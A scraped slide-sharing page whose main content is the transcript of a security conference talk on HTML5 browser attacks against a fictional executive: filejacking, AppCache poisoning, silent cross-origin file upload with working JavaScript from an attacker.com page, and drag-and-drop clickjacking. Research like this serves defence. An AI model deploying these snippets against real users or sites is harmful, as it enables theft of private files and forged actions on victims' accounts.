Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
 

Recently uploaded

The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????blackmambaettijean
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxBkGupta21
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 

Recently uploaded (20)

The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptx
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 

Html5: Something wicked this way comes (Hack in Paris)

  • 1. H TML5 Krzysztof Kotowicz, SecuRing kkotowicz@securing.pl @kkotowicz
  • 3. Meet Bob #1 Bob is a CSO of largebiz.com #1b Bob has interesting stuff #2 I don’t like Bob #3 I want to pwn Bob 3
  • 4. Bob’s pwnage stage #1 • Bob has a hobby - e.g. hacking • He has cool file://s • I want to get them! • He’s not THAT stupid to run EXE, SCR etc. • Use filejacking! 4
  • 5. Filejacking • HTML5 directory upload (Chrome only) <input type=file directory> • displays this ====> • JS gets read access to all files within chosen folder 5
  • 6. Filejacking Business plan • set up tempting webpage • overlay input (CSS) with • wait for Bob • get files & upload them to your server 6
  • 9. Filejacking • I’ve tried this IRL • How clueless users actually are? • http://kotowicz.net/wu running for ~13 mo • very limited exposure • only websec oriented visitors • 298 clients connected (217 IPs) • tons of interesting files 9
  • 10. Filejacking LOTS of these ------> • Downloads/# BeNaughtyLive.com/ • Downloads/# GoLiveTrannies.com/ • BratSluts 11 12 04 Sasha Cane Red Tartan SchoolGirl XXX 720p WMV SEXORS.nzb • bitches/1300563524557.jpg • Flowchart-Fap-To-It.jpg 10
  • 11. Filejacking • websec staff! • but surely no private data? 11
  • 12. Filejacking • Wireless Assess points.txt • interesting network next to me.txt • onlinePasswords.txt • s/pw.txt • letter of authorization.pdf • Staff-<name,surname>.pdf • <name,surname> - resume.doc • Pricing-Recommendation_CR.xlsm.zip • but surely no clients data? 12
  • 13. Filejacking • sony reports/ • Faktura_numer_26_2011_ 0045_sonymusic.##.zip <company>.pdf • SecurityQA.SQL.Injection. • websec cred~ Results.v1.1.docx • security_users.sql.zip • SSOCrawlTest5.4.097.xml • !important - questions for • IPS CDE Wireless Audit- web developers.docx January 2011-1 0.docx • sslstrip.log~ • IPS Wireless Testing • ##### Paros Log.txt Schedule April 2011.xls • 01-####### Corporation (Security Unarmed So much for NDAs... Guard).xls 13
  • 14. Filejacking + All your file are belong to me + Trivial to set up + Filter files by e.g. extension, size etc. - Chrome only - Requires users prone to social- engineering 14
  • 15. Bob’s pwnage stage #2 • Bob travels a lot & loves Facebook • I want to control Bob’s FB account • even when he changes the password in a month • I want to fingerprint Bob’s intranet • Use rogue access point & AppCache poisoning! 15
  • 16. AppCache poisoning HTML5 Offline Web Applications <html manifest=cache.manifest> • cache.manifest lists URLs to cache • cache expires only when CACHE MANIFEST index.html manifest is changed stylesheet.css images/logo.png scripts/main.js 16
  • 17. AppCache poisoning Poison Wait Profit AppCache for Bob 17
  • 18. AppCache poisoning • DEMO • Quirks used: • manifest must be MIME text/cache-manifest • Chrome fills AppCache without user confirmation 18
  • 19. AppCache poisoning • tamper http://victim/ <html manifest=/robots.txt> <script>evil()</script> • tamper http://victim/robots.txt CACHE MANIFEST CACHE: http://victim/ NETWORK: * 19
  • 20. AppCache poisoning Later on, after m-i-t-m: 1. http://victim/ fetched from AppCache 2. browser checks for new manifest GET /robots.txt 3. receives text/plain robots.txt & ignores it 4. tainted AppCache is still used 20
  • 21. AppCache poisoning + Poison any URL + Payload stays until manually removed - Chrome or Firefox with user interaction - Needs active man-in-the-middle to inject https://github.com/koto/sslstrip 21
  • 22. Bob’s pwnage stage #3 • Bob loves sharing photos (Flickr?) • I want to replace Bob as CSO • What if Bob uploaded some discrediting files? • Try silent file upload 22
  • 23. Silent file upload • File upload purely in Javascript • Emulates <input type=file> with: • any file name • any file content • File constructed in Javascript (it’s not a real file!) • Uses Cross Origin Resource Sharing 23
  • 24. Silent file upload • Cross Origin Resource Sharing = cross domain AJAX http://attacker.com/ var xhr = new XMLHttpRequest();      xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 24
  • 25. Silent file upload • raw multipart/form-data request function fileUpload(url, fileData, fileName) {    var boundary = "xxxxxxxxx",      xhr = new XMLHttpRequest();         xhr.open("POST", url, true);    xhr.withCredentials = "true";    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); 25
  • 26. Silent file upload var b = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.setRequestHeader("Content-Length", b.length); xhr.send(b); 26
  • 27. Silent file upload + No user interaction + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 27
  • 28. Silent file upload DEMO Flickr.com 28
  • 29. Silent file upload • GlassFish Enterprise Server 3.1. • CVE 2012-0550 by Roberto Suggi Liverani • //goo.gl/cOu1F logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); • logged admin + CSRF = RCE 29
  • 30. Same origin policy • makes web (relatively) safe • restricts cross-origin communication • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • UI redressing 30
  • 31. UI Redressing? Jedi mind tricks on victim users 31
  • 32. UI Redressing • This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 32
  • 34. Bob’s pwnage stage #4 • Bob likes online games • I found a vulnerable website used by Bob • Bob would have to type the payload himself :-( • Make Bob play a game! 34
  • 35. Drag into • Put attackers content into victim form Demo 35
  • 36. Drag into + Inject arbitrary content + Trigger self-XSS - Firefox only (will die soon!) - X-Frame-Options 36
  • 37. Bob’s pwnage stage #5 • Bob has access to internal HR application • I want to know his salary • Make Bob play a game (again)! 37
  • 38. Drag out content extraction image image 38
  • 39. Drag out content extraction image victim <iframe> image 39
  • 40. Drag out content extraction image victim <iframe> textarea <textarea> 40
  • 41. Drag out content extraction <div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />   <img style="position:absolute;..." src="trash.png" />       <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>    <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 41
  • 42. Drag out content extraction 42
  • 43. Drag out content extraction 43
  • 44. Drag out content extraction Demo . 44
  • 45. Drag out content extraction + Access sensitive content cross domain - Firefox only (will die soon!) - X-Frame-Options 45
  • 46. Summary • HTML5 is attacker’s friend too! • Don’t get framed • Users based pwnage FTW Developers: Use X-Frame-Options: DENY 46
  • 47. Wake up, I’m done! • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_, @lavakumark, @malerisch, @skeptic_fx, .... 47